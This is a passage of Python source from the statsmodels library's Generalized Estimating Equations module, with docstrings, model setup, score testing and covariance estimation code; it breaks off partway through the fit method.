array_like\n The exogeneous data for the model.\n \"\"\"\n\n return self._offset_increment\n\n def reduced_exog(self):\n \"\"\"\n Returns a linearly transformed exog matrix whose columns span\n the constrained model space.\n\n Parameters\n ----------\n exog : array_like\n The exogeneous data for the model.\n \"\"\"\n return self.exog_fulltrans[:, 0:self.lhs0.shape[1]]\n\n def restore_exog(self):\n \"\"\"\n Returns the full exog matrix before it was reduced to\n satisfy the constraint.\n \"\"\"\n return self.orig_exog\n\n def unpack_param(self, params):\n \"\"\"\n Converts the parameter vector `params` from reduced to full\n coordinates.\n \"\"\"\n\n return self.param0 + np.dot(self.lhs0, params)\n\n def unpack_cov(self, bcov):\n \"\"\"\n Converts the covariance matrix `bcov` from reduced to full\n coordinates.\n \"\"\"\n\n return np.dot(self.lhs0, np.dot(bcov, self.lhs0.T))\n\n\n_gee_init_doc = \"\"\"\n Marginal regression model fit using Generalized Estimating Equations.\n\n GEE can be used to fit Generalized Linear Models (GLMs) when the\n data have a grouped structure, and the observations are possibly\n correlated within groups but not between groups.\n\n Parameters\n ----------\n endog : array_like\n 1d array of endogenous values (i.e. responses, outcomes,\n dependent variables, or 'Y' values).\n exog : array_like\n 2d array of exogeneous values (i.e. covariates, predictors,\n independent variables, regressors, or 'X' values). A `nobs x\n k` array where `nobs` is the number of observations and `k` is\n the number of regressors. An intercept is not included by\n default and should be added by the user. See\n `statsmodels.tools.add_constant`.\n groups : array_like\n A 1d array of length `nobs` containing the group labels.\n time : array_like\n A 2d array of time (or other index) values, used by some\n dependence structures to define similarity relationships among\n observations within a cluster.\n family : family class instance\n%(family_doc)s\n cov_struct : CovStruct class instance\n The default is Independence. To specify an exchangeable\n structure use cov_struct = Exchangeable(). See\n statsmodels.genmod.cov_struct.CovStruct for more\n information.\n offset : array_like\n An offset to be included in the fit. If provided, must be\n an array whose length is the number of rows in exog.\n dep_data : array_like\n Additional data passed to the dependence structure.\n constraint : (ndarray, ndarray)\n If provided, the constraint is a tuple (L, R) such that the\n model parameters are estimated under the constraint L *\n param = R, where L is a q x p matrix and R is a\n q-dimensional vector. If constraint is provided, a score\n test is performed to compare the constrained model to the\n unconstrained model.\n update_dep : bool\n If true, the dependence parameters are optimized, otherwise\n they are held fixed at their starting values.\n weights : array_like\n An array of case weights to use in the analysis.\n %(extra_params)s\n\n See Also\n --------\n statsmodels.genmod.families.family\n :ref:`families`\n :ref:`links`\n\n Notes\n -----\n Only the following combinations make sense for family and link ::\n\n + ident log logit probit cloglog pow opow nbinom loglog logc\n Gaussian | x x x\n inv Gaussian | x x x\n binomial | x x x x x x x x x\n Poisson | x x x\n neg binomial | x x x x\n gamma | x x x\n\n Not all of these link functions are currently available.\n\n Endog and exog are references so that if the data they refer\n to are already arrays and these arrays are changed, endog and\n exog will change.\n\n The \"robust\" covariance type is the standard \"sandwich estimator\"\n (e.g. Liang and Zeger (1986)). It is the default here and in most\n other packages. The \"naive\" estimator gives smaller standard\n errors, but is only correct if the working correlation structure\n is correctly specified. The \"bias reduced\" estimator of Mancl and\n DeRouen (Biometrics, 2001) reduces the downward bias of the robust\n estimator.\n\n The robust covariance provided here follows Liang and Zeger (1986)\n and agrees with R's gee implementation. To obtain the robust\n standard errors reported in Stata, multiply by sqrt(N / (N - g)),\n where N is the total sample size, and g is the average group size.\n %(notes)s\n Examples\n --------\n %(example)s\n\"\"\"\n\n_gee_nointercept = \"\"\"\n The nominal and ordinal GEE models should not have an intercept\n (either implicit or explicit). Use \"0 + \" in a formula to\n suppress the intercept.\n\"\"\"\n\n_gee_family_doc = \"\"\"\\\n The default is Gaussian. To specify the binomial\n distribution use `family=sm.families.Binomial()`. Each family\n can take a link instance as an argument. See\n statsmodels.genmod.families.family for more information.\"\"\"\n\n_gee_ordinal_family_doc = \"\"\"\\\n The only family supported is `Binomial`. The default `Logit`\n link may be replaced with `probit` if desired.\"\"\"\n\n_gee_nominal_family_doc = \"\"\"\\\n The default value `None` uses a multinomial logit family\n specifically designed for use with GEE. Setting this\n argument to a non-default value is not currently supported.\"\"\"\n\n_gee_fit_doc = \"\"\"\n Fits a marginal regression model using generalized estimating\n equations (GEE).\n\n Parameters\n ----------\n maxiter : int\n The maximum number of iterations\n ctol : float\n The convergence criterion for stopping the Gauss-Seidel\n iterations\n start_params : array_like\n A vector of starting values for the regression\n coefficients. If None, a default is chosen.\n params_niter : int\n The number of Gauss-Seidel updates of the mean structure\n parameters that take place prior to each update of the\n dependence structure.\n first_dep_update : int\n No dependence structure updates occur before this\n iteration number.\n cov_type : str\n One of \"robust\", \"naive\", or \"bias_reduced\".\n ddof_scale : scalar or None\n The scale parameter is estimated as the sum of squared\n Pearson residuals divided by `N - ddof_scale`, where N\n is the total sample size. If `ddof_scale` is None, the\n number of covariates (including an intercept if present)\n is used.\n scaling_factor : scalar\n The estimated covariance of the parameter estimates is\n scaled by this value. Default is 1, Stata uses N / (N - g),\n where N is the total sample size and g is the average group\n size.\n scale : str or float, optional\n `scale` can be None, 'X2', or a float\n If a float, its value is used as the scale parameter.\n The default value is None, which uses `X2` (Pearson's\n chi-square) for Gamma, Gaussian, and Inverse Gaussian.\n The default is 1 for the Binomial and Poisson families.\n\n Returns\n -------\n An instance of the GEEResults class or subclass\n\n Notes\n -----\n If convergence difficulties occur, increase the values of\n `first_dep_update` and/or `params_niter`. Setting\n `first_dep_update` to a greater value (e.g. ~10-20) causes the\n algorithm to move close to the GLM solution before attempting\n to identify the dependence structure.\n\n For the Gaussian family, there is no benefit to setting\n `params_niter` to a value greater than 1, since the mean\n structure parameters converge in one step.\n\"\"\"\n\n_gee_results_doc = \"\"\"\n Attributes\n ----------\n\n cov_params_default : ndarray\n default covariance of the parameter estimates. Is chosen among one\n of the following three based on `cov_type`\n cov_robust : ndarray\n covariance of the parameter estimates that is robust\n cov_naive : ndarray\n covariance of the parameter estimates that is not robust to\n correlation or variance misspecification\n cov_robust_bc : ndarray\n covariance of the parameter estimates that is robust and bias\n reduced\n converged : bool\n indicator for convergence of the optimization.\n True if the norm of the score is smaller than a threshold\n cov_type : str\n string indicating whether a \"robust\", \"naive\" or \"bias_reduced\"\n covariance is used as default\n fit_history : dict\n Contains information about the iterations.\n fittedvalues : ndarray\n Linear predicted values for the fitted model.\n dot(exog, params)\n model : class instance\n Pointer to GEE model instance that called `fit`.\n normalized_cov_params : ndarray\n See GEE docstring\n params : ndarray\n The coefficients of the fitted model. Note that\n interpretation of the coefficients often depends on the\n distribution family and the data.\n scale : float\n The estimate of the scale / dispersion for the model fit.\n See GEE.fit for more information.\n score_norm : float\n norm of the score at the end of the iterative estimation.\n bse : ndarray\n The standard errors of the fitted GEE parameters.\n\"\"\"\n\n_gee_example = \"\"\"\n Logistic regression with autoregressive working dependence:\n\n >>> import statsmodels.api as sm\n >>> family = sm.families.Binomial()\n >>> va = sm.cov_struct.Autoregressive()\n >>> model = sm.GEE(endog, exog, group, family=family, cov_struct=va)\n >>> result = model.fit()\n >>> print(result.summary())\n\n Use formulas to fit a Poisson GLM with independent working\n dependence:\n\n >>> import statsmodels.api as sm\n >>> fam = sm.families.Poisson()\n >>> ind = sm.cov_struct.Independence()\n >>> model = sm.GEE.from_formula(\"y ~ age + trt + base\", \"subject\",\n data, cov_struct=ind, family=fam)\n >>> result = model.fit()\n >>> print(result.summary())\n\n Equivalent, using the formula API:\n\n >>> import statsmodels.api as sm\n >>> import statsmodels.formula.api as smf\n >>> fam = sm.families.Poisson()\n >>> ind = sm.cov_struct.Independence()\n >>> model = smf.gee(\"y ~ age + trt + base\", \"subject\",\n data, cov_struct=ind, family=fam)\n >>> result = model.fit()\n >>> print(result.summary())\n\"\"\"\n\n_gee_ordinal_example = \"\"\"\n Fit an ordinal regression model using GEE, with \"global\n odds ratio\" dependence:\n\n >>> import statsmodels.api as sm\n >>> gor = sm.cov_struct.GlobalOddsRatio(\"ordinal\")\n >>> model = sm.OrdinalGEE(endog, exog, groups, cov_struct=gor)\n >>> result = model.fit()\n >>> print(result.summary())\n\n Using formulas:\n\n >>> import statsmodels.formula.api as smf\n >>> model = smf.ordinal_gee(\"y ~ 0 + x1 + x2\", groups, data,\n cov_struct=gor)\n >>> result = model.fit()\n >>> print(result.summary())\n\"\"\"\n\n_gee_nominal_example = \"\"\"\n Fit a nominal regression model using GEE:\n\n >>> import statsmodels.api as sm\n >>> import statsmodels.formula.api as smf\n >>> gor = sm.cov_struct.GlobalOddsRatio(\"nominal\")\n >>> model = sm.NominalGEE(endog, exog, groups, cov_struct=gor)\n >>> result = model.fit()\n >>> print(result.summary())\n\n Using formulas:\n\n >>> import statsmodels.api as sm\n >>> model = sm.NominalGEE.from_formula(\"y ~ 0 + x1 + x2\", groups,\n data, cov_struct=gor)\n >>> result = model.fit()\n >>> print(result.summary())\n\n Using the formula API:\n\n >>> import statsmodels.formula.api as smf\n >>> model = smf.nominal_gee(\"y ~ 0 + x1 + x2\", groups, data,\n cov_struct=gor)\n >>> result = model.fit()\n >>> print(result.summary())\n\"\"\"\n\n\ndef _check_args(endog, exog, groups, time, offset, exposure):\n\n if endog.size != exog.shape[0]:\n raise ValueError(\"Leading dimension of 'exog' should match \"\n \"length of 'endog'\")\n\n if groups.size != endog.size:\n raise ValueError(\"'groups' and 'endog' should have the same size\")\n\n if time is not None and (time.size != endog.size):\n raise ValueError(\"'time' and 'endog' should have the same size\")\n\n if offset is not None and (offset.size != endog.size):\n raise ValueError(\"'offset and 'endog' should have the same size\")\n\n if exposure is not None and (exposure.size != endog.size):\n raise ValueError(\"'exposure' and 'endog' should have the same size\")\n\n\nclass GEE(GLM):\n\n __doc__ = (\n \" Marginal Regression Model using Generalized Estimating \"\n \"Equations.\\n\" + _gee_init_doc %\n {'extra_params': base._missing_param_doc,\n 'family_doc': _gee_family_doc,\n 'example': _gee_example,\n 'notes': \"\"})\n\n cached_means = None\n\n def __init__(self, endog, exog, groups, time=None, family=None,\n cov_struct=None, missing='none', offset=None,\n exposure=None, dep_data=None, constraint=None,\n update_dep=True, weights=None, **kwargs):\n\n if type(self) is GEE:\n self._check_kwargs(kwargs)\n if family is not None:\n if not isinstance(family.link, tuple(family.safe_links)):\n msg = (\"The {0} link function does not respect the \"\n \"domain of the {1} family.\")\n warnings.warn(msg.format(family.link.__class__.__name__,\n family.__class__.__name__),\n DomainWarning)\n\n groups = np.asarray(groups) # in case groups is pandas\n\n if \"missing_idx\" in kwargs and kwargs[\"missing_idx\"] is not None:\n # If here, we are entering from super.from_formula; missing\n # has already been dropped from endog and exog, but not from\n # the other variables.\n ii = ~kwargs[\"missing_idx\"]\n groups = groups[ii]\n if time is not None:\n time = time[ii]\n if offset is not None:\n offset = offset[ii]\n if exposure is not None:\n exposure = exposure[ii]\n del kwargs[\"missing_idx\"]\n\n self.missing = missing\n self.dep_data = dep_data\n self.constraint = constraint\n self.update_dep = update_dep\n\n self._fit_history = defaultdict(list)\n\n # Pass groups, time, offset, and dep_data so they are\n # processed for missing data along with endog and exog.\n # Calling super creates self.exog, self.endog, etc. as\n # ndarrays and the original exog, endog, etc. are\n # self.data.endog, etc.\n super(GEE, self).__init__(endog, exog, groups=groups,\n time=time, offset=offset,\n exposure=exposure, weights=weights,\n dep_data=dep_data, missing=missing,\n family=family, **kwargs)\n\n _check_args(\n self.endog,\n self.exog,\n self.groups,\n self.time,\n getattr(self, \"offset\", None),\n getattr(self, \"exposure\", None),\n )\n\n self._init_keys.extend([\"update_dep\", \"constraint\", \"family\",\n \"cov_struct\"])\n # remove keys added by super that are not supported\n try:\n self._init_keys.remove(\"freq_weights\")\n self._init_keys.remove(\"var_weights\")\n except ValueError:\n pass\n\n # Handle the family argument\n if family is None:\n family = families.Gaussian()\n else:\n if not issubclass(family.__class__, families.Family):\n raise ValueError(\"GEE: `family` must be a genmod \"\n \"family instance\")\n self.family = family\n\n # Handle the cov_struct argument\n if cov_struct is None:\n cov_struct = cov_structs.Independence()\n else:\n if not issubclass(cov_struct.__class__, cov_structs.CovStruct):\n raise ValueError(\"GEE: `cov_struct` must be a genmod \"\n \"cov_struct instance\")\n\n self.cov_struct = cov_struct\n\n # Handle the constraint\n self.constraint = None\n if constraint is not None:\n if len(constraint) != 2:\n raise ValueError(\"GEE: `constraint` must be a 2-tuple.\")\n if constraint[0].shape[1] != self.exog.shape[1]:\n raise ValueError(\n \"GEE: the left hand side of the constraint must have \"\n \"the same number of columns as the exog matrix.\")\n self.constraint = ParameterConstraint(constraint[0],\n constraint[1],\n self.exog)\n\n if self._offset_exposure is not None:\n self._offset_exposure += self.constraint.offset_increment()\n else:\n self._offset_exposure = (\n self.constraint.offset_increment().copy())\n self.exog = self.constraint.reduced_exog()\n\n # Create list of row indices for each group\n group_labels, ix = np.unique(self.groups, return_inverse=True)\n se = pd.Series(index=np.arange(len(ix)), dtype=\"int\")\n gb = se.groupby(ix).groups\n dk = [(lb, np.asarray(gb[k])) for k, lb in enumerate(group_labels)]\n self.group_indices = dict(dk)\n self.group_labels = group_labels\n\n # Convert the data to the internal representation, which is a\n # list of arrays, corresponding to the groups.\n self.endog_li = self.cluster_list(self.endog)\n self.exog_li = self.cluster_list(self.exog)\n\n if self.weights is not None:\n self.weights_li = self.cluster_list(self.weights)\n\n self.num_group = len(self.endog_li)\n\n # Time defaults to a 1d grid with equal spacing\n if self.time is not None:\n if self.time.ndim == 1:\n self.time = self.time[:, None]\n self.time_li = self.cluster_list(self.time)\n else:\n self.time_li = \\\n [np.arange(len(y), dtype=np.float64)[:, None]\n for y in self.endog_li]\n self.time = np.concatenate(self.time_li)\n\n if (self._offset_exposure is None or\n (np.isscalar(self._offset_exposure) and\n self._offset_exposure == 0.)):\n self.offset_li = None\n else:\n self.offset_li = self.cluster_list(self._offset_exposure)\n if constraint is not None:\n self.constraint.exog_fulltrans_li = \\\n self.cluster_list(self.constraint.exog_fulltrans)\n\n self.family = family\n\n self.cov_struct.initialize(self)\n\n # Total sample size\n group_ns = [len(y) for y in self.endog_li]\n self.nobs = sum(group_ns)\n # The following are column based, not on rank see #1928\n self.df_model = self.exog.shape[1] - 1 # assumes constant\n self.df_resid = self.nobs - self.exog.shape[1]\n\n # Skip the covariance updates if all groups have a single\n # observation (reduces to fitting a GLM).\n maxgroup = max([len(x) for x in self.endog_li])\n if maxgroup == 1:\n self.update_dep = False\n\n # Override to allow groups and time to be passed as variable\n # names.\n @classmethod\n def from_formula(cls, formula, groups, data, subset=None,\n time=None, offset=None, exposure=None,\n *args, **kwargs):\n \"\"\"\n Create a GEE model instance from a formula and dataframe.\n\n Parameters\n ----------\n formula : str or generic Formula object\n The formula specifying the model\n groups : array_like or string\n Array of grouping labels. If a string, this is the name\n of a variable in `data` that contains the grouping labels.\n data : array_like\n The data for the model.\n subset : array_like\n An array-like object of booleans, integers, or index\n values that indicate the subset of the data to used when\n fitting the model.\n time : array_like or string\n The time values, used for dependence structures involving\n distances between observations. If a string, this is the\n name of a variable in `data` that contains the time\n values.\n offset : array_like or string\n The offset values, added to the linear predictor. If a\n string, this is the name of a variable in `data` that\n contains the offset values.\n exposure : array_like or string\n The exposure values, only used if the link function is the\n logarithm function, in which case the log of `exposure`\n is added to the offset (if any). If a string, this is the\n name of a variable in `data` that contains the offset\n values.\n %(missing_param_doc)s\n args : extra arguments\n These are passed to the model\n kwargs : extra keyword arguments\n These are passed to the model with two exceptions. `dep_data`\n is processed as described below. The ``eval_env`` keyword is\n passed to patsy. It can be either a\n :class:`patsy:patsy.EvalEnvironment` object or an integer\n indicating the depth of the namespace to use. For example, the\n default ``eval_env=0`` uses the calling namespace.\n If you wish to use a \"clean\" environment set ``eval_env=-1``.\n\n Optional arguments\n ------------------\n dep_data : str or array_like\n Data used for estimating the dependence structure. See\n specific dependence structure classes (e.g. Nested) for\n details. If `dep_data` is a string, it is interpreted as\n a formula that is applied to `data`. If it is an array, it\n must be an array of strings corresponding to column names in\n `data`. Otherwise it must be an array-like with the same\n number of rows as data.\n\n Returns\n -------\n model : GEE model instance\n\n Notes\n -----\n `data` must define __getitem__ with the keys in the formula\n terms args and kwargs are passed on to the model\n instantiation. E.g., a numpy structured or rec array, a\n dictionary, or a pandas DataFrame.\n \"\"\" % {'missing_param_doc': base._missing_param_doc}\n\n groups_name = \"Groups\"\n if isinstance(groups, str):\n groups_name = groups\n groups = data[groups]\n\n if isinstance(time, str):\n time = data[time]\n\n if isinstance(offset, str):\n offset = data[offset]\n\n if isinstance(exposure, str):\n exposure = data[exposure]\n\n dep_data = kwargs.get(\"dep_data\")\n dep_data_names = None\n if dep_data is not None:\n if isinstance(dep_data, str):\n dep_data = patsy.dmatrix(dep_data, data,\n return_type='dataframe')\n dep_data_names = dep_data.columns.tolist()\n else:\n dep_data_names = list(dep_data)\n dep_data = data[dep_data]\n kwargs[\"dep_data\"] = np.asarray(dep_data)\n\n family = None\n if \"family\" in kwargs:\n family = kwargs[\"family\"]\n del kwargs[\"family\"]\n\n model = super(GEE, cls).from_formula(formula, data=data, subset=subset,\n groups=groups, time=time,\n offset=offset,\n exposure=exposure,\n family=family,\n *args, **kwargs)\n\n if dep_data_names is not None:\n model._dep_data_names = dep_data_names\n model._groups_name = groups_name\n\n return model\n\n def cluster_list(self, array):\n \"\"\"\n Returns `array` split into subarrays corresponding to the\n cluster structure.\n \"\"\"\n\n if array.ndim == 1:\n return [np.array(array[self.group_indices[k]])\n for k in self.group_labels]\n else:\n return [np.array(array[self.group_indices[k], :])\n for k in self.group_labels]\n\n def compare_score_test(self, submodel):\n \"\"\"\n Perform a score test for the given submodel against this model.\n\n Parameters\n ----------\n submodel : GEEResults instance\n A fitted GEE model that is a submodel of this model.\n\n Returns\n -------\n A dictionary with keys \"statistic\", \"p-value\", and \"df\",\n containing the score test statistic, its chi^2 p-value,\n and the degrees of freedom used to compute the p-value.\n\n Notes\n -----\n The score test can be performed without calling 'fit' on the\n larger model. The provided submodel must be obtained from a\n fitted GEE.\n\n This method performs the same score test as can be obtained by\n fitting the GEE with a linear constraint and calling `score_test`\n on the results.\n\n References\n ----------\n Xu Guo and Wei Pan (2002). \"Small sample performance of the score\n test in GEE\".\n http://www.sph.umn.edu/faculty1/wp-content/uploads/2012/11/rr2002-013.pdf\n \"\"\"\n\n # Since the model has not been fit, its scaletype has not been\n # set. So give it the scaletype of the submodel.\n self.scaletype = submodel.model.scaletype\n\n # Check consistency between model and submodel (not a comprehensive\n # check)\n submod = submodel.model\n if self.exog.shape[0] != submod.exog.shape[0]:\n msg = \"Model and submodel have different numbers of cases.\"\n raise ValueError(msg)\n if self.exog.shape[1] == submod.exog.shape[1]:\n msg = \"Model and submodel have the same number of variables\"\n warnings.warn(msg)\n if not isinstance(self.family, type(submod.family)):\n msg = \"Model and submodel have different GLM families.\"\n warnings.warn(msg)\n if not isinstance(self.cov_struct, type(submod.cov_struct)):\n warnings.warn(\"Model and submodel have different GEE covariance \"\n \"structures.\")\n if not np.equal(self.weights, submod.weights).all():\n msg = \"Model and submodel should have the same weights.\"\n warnings.warn(msg)\n\n # Get the positions of the submodel variables in the\n # parent model\n qm, qc = _score_test_submodel(self, submodel.model)\n if qm is None:\n msg = \"The provided model is not a submodel.\"\n raise ValueError(msg)\n\n # Embed the submodel params into a params vector for the\n # parent model\n params_ex = np.dot(qm, submodel.params)\n\n # Attempt to preserve the state of the parent model\n cov_struct_save = self.cov_struct\n import copy\n cached_means_save = copy.deepcopy(self.cached_means)\n\n # Get the score vector of the submodel params in\n # the parent model\n self.cov_struct = submodel.cov_struct\n self.update_cached_means(params_ex)\n _, score = self._update_mean_params()\n if score is None:\n msg = \"Singular matrix encountered in GEE score test\"\n warnings.warn(msg, ConvergenceWarning)\n return None\n\n if not hasattr(self, \"ddof_scale\"):\n self.ddof_scale = self.exog.shape[1]\n\n if not hasattr(self, \"scaling_factor\"):\n self.scaling_factor = 1\n\n _, ncov1, cmat = self._covmat()\n score2 = np.dot(qc.T, score)\n\n try:\n amat = np.linalg.inv(ncov1)\n except np.linalg.LinAlgError:\n amat = np.linalg.pinv(ncov1)\n\n bmat_11 = np.dot(qm.T, np.dot(cmat, qm))\n bmat_22 = np.dot(qc.T, np.dot(cmat, qc))\n bmat_12 = np.dot(qm.T, np.dot(cmat, qc))\n\n amat_11 = np.dot(qm.T, np.dot(amat, qm))\n amat_12 = np.dot(qm.T, np.dot(amat, qc))\n\n try:\n ab = np.linalg.solve(amat_11, bmat_12)\n except np.linalg.LinAlgError:\n ab = np.dot(np.linalg.pinv(amat_11), bmat_12)\n\n score_cov = bmat_22 - np.dot(amat_12.T, ab)\n\n try:\n aa = np.linalg.solve(amat_11, amat_12)\n except np.linalg.LinAlgError:\n aa = np.dot(np.linalg.pinv(amat_11), amat_12)\n\n score_cov -= np.dot(bmat_12.T, aa)\n\n try:\n ab = np.linalg.solve(amat_11, bmat_11)\n except np.linalg.LinAlgError:\n ab = np.dot(np.linalg.pinv(amat_11), bmat_11)\n\n try:\n aa = np.linalg.solve(amat_11, amat_12)\n except np.linalg.LinAlgError:\n aa = np.dot(np.linalg.pinv(amat_11), amat_12)\n\n score_cov += np.dot(amat_12.T, np.dot(ab, aa))\n\n # Attempt to restore state\n self.cov_struct = cov_struct_save\n self.cached_means = cached_means_save\n\n from scipy.stats.distributions import chi2\n try:\n sc2 = np.linalg.solve(score_cov, score2)\n except np.linalg.LinAlgError:\n sc2 = np.dot(np.linalg.pinv(score_cov), score2)\n score_statistic = np.dot(score2, sc2)\n score_df = len(score2)\n score_pvalue = 1 - chi2.cdf(score_statistic, score_df)\n return {\"statistic\": score_statistic,\n \"df\": score_df,\n \"p-value\": score_pvalue}\n\n def estimate_scale(self):\n \"\"\"\n Estimate the dispersion/scale.\n \"\"\"\n\n if self.scaletype is None:\n if isinstance(self.family, (families.Binomial, families.Poisson,\n families.NegativeBinomial,\n _Multinomial)):\n return 1.\n elif isinstance(self.scaletype, float):\n return np.array(self.scaletype)\n\n endog = self.endog_li\n cached_means = self.cached_means\n nobs = self.nobs\n varfunc = self.family.variance\n\n scale = 0.\n fsum = 0.\n for i in range(self.num_group):\n\n if len(endog[i]) == 0:\n continue\n\n expval, _ = cached_means[i]\n sdev = np.sqrt(varfunc(expval))\n resid = (endog[i] - expval) / sdev\n\n if self.weights is not None:\n f = self.weights_li[i]\n scale += np.sum(f * (resid ** 2))\n fsum += f.sum()\n else:\n scale += np.sum(resid ** 2)\n fsum += len(resid)\n\n scale /= (fsum * (nobs - self.ddof_scale) / float(nobs))\n\n return scale\n\n def mean_deriv(self, exog, lin_pred):\n \"\"\"\n Derivative of the expected endog with respect to the parameters.\n\n Parameters\n ----------\n exog : array_like\n The exogeneous data at which the derivative is computed.\n lin_pred : array_like\n The values of the linear predictor.\n\n Returns\n -------\n The value of the derivative of the expected endog with respect\n to the parameter vector.\n\n Notes\n -----\n If there is an offset or exposure, it should be added to\n `lin_pred` prior to calling this function.\n \"\"\"\n\n idl = self.family.link.inverse_deriv(lin_pred)\n dmat = exog * idl[:, None]\n return dmat\n\n def mean_deriv_exog(self, exog, params, offset_exposure=None):\n \"\"\"\n Derivative of the expected endog with respect to exog.\n\n Parameters\n ----------\n exog : array_like\n Values of the independent variables at which the derivative\n is calculated.\n params : array_like\n Parameter values at which the derivative is calculated.\n offset_exposure : array_like, optional\n Combined offset and exposure.\n\n Returns\n -------\n The derivative of the expected endog with respect to exog.\n \"\"\"\n\n lin_pred = np.dot(exog, params)\n if offset_exposure is not None:\n lin_pred += offset_exposure\n\n idl = self.family.link.inverse_deriv(lin_pred)\n dmat = np.outer(idl, params)\n return dmat\n\n def _update_mean_params(self):\n \"\"\"\n Returns\n -------\n update : array_like\n The update vector such that params + update is the next\n iterate when solving the score equations.\n score : array_like\n The current value of the score equations, not\n incorporating the scale parameter. If desired,\n multiply this vector by the scale parameter to\n incorporate the scale.\n \"\"\"\n\n endog = self.endog_li\n exog = self.exog_li\n weights = getattr(self, \"weights_li\", None)\n\n cached_means = self.cached_means\n\n varfunc = self.family.variance\n\n bmat, score = 0, 0\n for i in range(self.num_group):\n\n expval, lpr = cached_means[i]\n resid = endog[i] - expval\n dmat = self.mean_deriv(exog[i], lpr)\n sdev = np.sqrt(varfunc(expval))\n\n if weights is not None:\n w = weights[i]\n wresid = resid * w\n wdmat = dmat * w[:, None]\n else:\n wresid = resid\n wdmat = dmat\n\n rslt = self.cov_struct.covariance_matrix_solve(\n expval, i, sdev, (wdmat, wresid))\n if rslt is None:\n return None, None\n vinv_d, vinv_resid = tuple(rslt)\n\n bmat += np.dot(dmat.T, vinv_d)\n score += np.dot(dmat.T, vinv_resid)\n\n try:\n update = np.linalg.solve(bmat, score)\n except np.linalg.LinAlgError:\n update = np.dot(np.linalg.pinv(bmat), score)\n\n self._fit_history[\"cov_adjust\"].append(\n self.cov_struct.cov_adjust)\n\n return update, score\n\n def update_cached_means(self, mean_params):\n \"\"\"\n cached_means should always contain the most recent calculation\n of the group-wise mean vectors. This function should be\n called every time the regression parameters are changed, to\n keep the cached means up to date.\n \"\"\"\n\n endog = self.endog_li\n exog = self.exog_li\n offset = self.offset_li\n\n linkinv = self.family.link.inverse\n\n self.cached_means = []\n\n for i in range(self.num_group):\n\n if len(endog[i]) == 0:\n continue\n\n lpr = np.dot(exog[i], mean_params)\n if offset is not None:\n lpr += offset[i]\n expval = linkinv(lpr)\n\n self.cached_means.append((expval, lpr))\n\n def _covmat(self):\n \"\"\"\n Returns the sampling covariance matrix of the regression\n parameters and related quantities.\n\n Returns\n -------\n cov_robust : array_like\n The robust, or sandwich estimate of the covariance, which\n is meaningful even if the working covariance structure is\n incorrectly specified.\n cov_naive : array_like\n The model-based estimate of the covariance, which is\n meaningful if the covariance structure is correctly\n specified.\n cmat : array_like\n The center matrix of the sandwich expression, used in\n obtaining score test results.\n \"\"\"\n\n endog = self.endog_li\n exog = self.exog_li\n weights = getattr(self, \"weights_li\", None)\n varfunc = self.family.variance\n cached_means = self.cached_means\n\n # Calculate the naive (model-based) and robust (sandwich)\n # covariances.\n bmat, cmat = 0, 0\n for i in range(self.num_group):\n\n expval, lpr = cached_means[i]\n resid = endog[i] - expval\n dmat = self.mean_deriv(exog[i], lpr)\n sdev = np.sqrt(varfunc(expval))\n\n if weights is not None:\n w = weights[i]\n wresid = resid * w\n wdmat = dmat * w[:, None]\n else:\n wresid = resid\n wdmat = dmat\n\n rslt = self.cov_struct.covariance_matrix_solve(\n expval, i, sdev, (wdmat, wresid))\n if rslt is None:\n return None, None, None, None\n vinv_d, vinv_resid = tuple(rslt)\n\n bmat += np.dot(dmat.T, vinv_d)\n dvinv_resid = np.dot(dmat.T, vinv_resid)\n cmat += np.outer(dvinv_resid, dvinv_resid)\n\n scale = self.estimate_scale()\n\n try:\n bmati = np.linalg.inv(bmat)\n except np.linalg.LinAlgError:\n bmati = np.linalg.pinv(bmat)\n\n cov_naive = bmati * scale\n cov_robust = np.dot(bmati, np.dot(cmat, bmati))\n\n cov_naive *= self.scaling_factor\n cov_robust *= self.scaling_factor\n return cov_robust, cov_naive, cmat\n\n # Calculate the bias-corrected sandwich estimate of Mancl and\n # DeRouen.\n def _bc_covmat(self, cov_naive):\n\n cov_naive = cov_naive / self.scaling_factor\n endog = self.endog_li\n exog = self.exog_li\n varfunc = self.family.variance\n cached_means = self.cached_means\n scale = self.estimate_scale()\n\n bcm = 0\n for i in range(self.num_group):\n\n expval, lpr = cached_means[i]\n resid = endog[i] - expval\n dmat = self.mean_deriv(exog[i], lpr)\n sdev = np.sqrt(varfunc(expval))\n\n rslt = self.cov_struct.covariance_matrix_solve(\n expval, i, sdev, (dmat,))\n if rslt is None:\n return None\n vinv_d = rslt[0]\n vinv_d /= scale\n\n hmat = np.dot(vinv_d, cov_naive)\n hmat = np.dot(hmat, dmat.T).T\n\n f = self.weights_li[i] if self.weights is not None else 1.\n\n aresid = np.linalg.solve(np.eye(len(resid)) - hmat, resid)\n rslt = self.cov_struct.covariance_matrix_solve(\n expval, i, sdev, (aresid,))\n if rslt is None:\n return None\n srt = rslt[0]\n srt = f * np.dot(dmat.T, srt) / scale\n bcm += np.outer(srt, srt)\n\n cov_robust_bc = np.dot(cov_naive, np.dot(bcm, cov_naive))\n cov_robust_bc *= self.scaling_factor\n\n return cov_robust_bc\n\n def _starting_params(self):\n\n if np.isscalar(self._offset_exposure):\n offset = None\n else:\n offset = self._offset_exposure\n\n model = GLM(self.endog, self.exog, family=self.family,\n offset=offset, freq_weights=self.weights)\n result = model.fit()\n return result.params\n\n @Appender(_gee_fit_doc)\n def fit(self, maxiter=60, ctol=1e-6, start_params=None,\n params_niter=1, first_dep_update=0,\n cov_type='robust', ddof_scale=None, scaling_factor=1.,\n scale=None):\n\n self.scaletype = scale\n\n # Subtract this number from the total sample size when\n # normalizing the scale parameter estimate.\n if ddof_scale is None:\n self.ddof_scale = self.exog.shape[1]\n else:\n if not ddof_scale >= 0:\n raise ValueError(\n \"ddof_scale must be a non-negative number or None\")\n self.ddof_scale = ddof_scale\n\n self.scaling_factor = scaling_factor\n\n self._fit_history = defaultdict(list)\n\n if self.weights is not None and cov_type == 'naive':\n raise ValueError(\"when using weights, cov_type may not be naive\")\n\n if start_params is None:\n mean_params = self._starting_params()\n else:\n start_params = np.asarray(start_params)\n mean_params = start_params.copy()\n\n self.update_cached_means(mean_params)\n\n del_params = -1.\n num_assoc_updates = 0\n for itr in range(maxiter):\n\n update, score = self._update_mean_params()\n if update is None:\n warnings.warn(\"Singular matrix encountered in GEE update\",\n ConvergenceWarning)\n break\n mean_params += update\n self.update_cached_means(mean_params)\n\n # L2 norm of the change in mean structure parameters at\n # this iteration.\n del_params = np.sqrt(np.sum(score ** 2))\n\n self._fit_history['params'].append(mean_params.copy())\n self._fit_history['score'].append(score)\n self._fit_history['dep_params'].append(\n 